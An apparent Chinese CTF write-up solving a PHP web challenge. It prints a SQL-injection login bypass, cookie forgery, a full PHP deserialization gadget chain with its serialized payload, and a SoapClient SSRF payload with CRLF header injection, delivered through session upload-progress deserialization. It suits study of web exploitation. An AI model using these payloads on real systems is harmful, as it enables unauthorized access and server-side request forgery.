这题的第一步考点在某入群题见过。
1' or '1'='1' group by passwd with rollup having passwd is NULL #
可以登录成功,扫目录的时候发现wsdl.php
然后在主页发现method=user 所以猜测是功能,先尝试用get_flag
method can useget_flagonly admin in 127.0.0.1 can get_flag
SSRF了,那看一下hint吧
a few file may be helpful index.php Service.php interface.php se.php
有一个读文件的功能,读下
index.php没有啥有用的Service.php读不到interface.php
还有一个keyaaaaaaaasdfsaf.txt 拿到flag{this_is_false_flag}
encode.php是一个加密方式 ,直接百度一手解密脚本!
盲猜这个假flag是key。解密出xiaoC:2
我们尝试admin:1重新加密xZmdm9NxaQ==
刷新下就变成了admin
se.php
<?php
ini_set('session.serialize_handler', 'php');
class aa {
public $mod1;
public $mod2;
public function __call($name,$param) {
if($this->{$name})
{
$s1 = $this->{$name};
$s1();
}
}
public function __get($ke)
{
return $this->mod2[$ke];
}
}
class bb
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test2();
}
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
public function __invoke()
{
$this->mod2 = $this->mod3.$this->mod1;
}
}
class dd
{
public $name;
public $flag;
public $b;
public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,$a);
}
}
class ee
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->{$this->str2}();
return "1";
}
}
因为之前的思路要用ssrf,这里肯定是要用这个反序列化内容了,但是不知道怎么触发。看了下WP
通过session反序列化。传一个SOAP对象。然后通过se.php的反序列化。触发SOAP对象的get_flag函数。
啥是SOAP呢?
SOAP,简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议。SOAP、WSDL(WebServicesDescriptionLanguage)、
UDDI(UniversalDescriptionDiscovery andIntegration)之一,soap用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, uddi用来管理,分发,查询webService 。
WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,
B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,
以及调用webservice接口。每种开发语言都有自己的webservice实现框架。而SOAP作为webService三要素SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),
简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。
看不懂没关系,soap是一种协议,属于web service实现所使用的一种技术规范,要用ssrf肯定要用他了
先看反序列化链子吧
- dd->getflag()肯定最重要调用
- 用ee->__toString()来构造(1)
- 用cc->__invoke()中的字符串连接来触发(2)
- 用aa->__call()中的
$s1()
来触发(3) - 用bb->__destruct()来触发(4)
所以是
$b = new bb(); $a = new aa(); $b->mod1 = $a; $c = new cc(); $a->mod2['test2'] = $c; $e = new ee(); $c->mod1 = $e; $d = new dd(); $e->str1 = $d; $e->str2 = 'getflag'; $d->flag = 'Get_flag'; $d->b = 'call_user_func'; echo serialize($b);
输出O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"Get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}
然后来看soap部分
通过session.upload_progress
上传一个可控的session
文件,然后由于session
引擎的切换造成session反序列化漏洞
,就可以,控制一下$_SESSION
先生成一个SoapClient
<?php $target = 'http://127.0.0.1/interface.php'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: user=xZmdm9NxaQ==', ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri' => "ha1c9on")); $a = serialize($b); $a = str_replace('^^',"\r\n",$a); echo $a; ?>
然后通过PHP_SESSION_UPLOAD_PROGRESS上传session文件,记得cookie中加下PHPSESSID
然后把反序列化好的东西传入,记得加PHPSESSID
此时打出payload。先将靶机的session。反序列化成SOAP对象。然后反序列化触发。call_user_func变成
call_user_func(<span class="hljs-string">'call_user_func'</span>,<span class="hljs-keyword">array</span>($session,<span class="hljs-string">'Get_flag'</span>));
相当于执行了call_user_func($session,<span class="hljs-string">'Get_flag'</span>);
sessin为类。Get_flag为函数名
调用了session中的SOAP类的Get_flag方法
至于这里为什么要访问interface.php而不是method=get_flag
在官方WP这样写
$target
为什么要设置为interface.php
而不是http://127.0.0.1/index.php?method=get_flag
,因为后者好像并不会输出结果,所以出题人多做了个soap接口interface.php
来完成攻击。实际上。我们能返回到信息,是因为这边已经实例化了SoapServer
类的原因。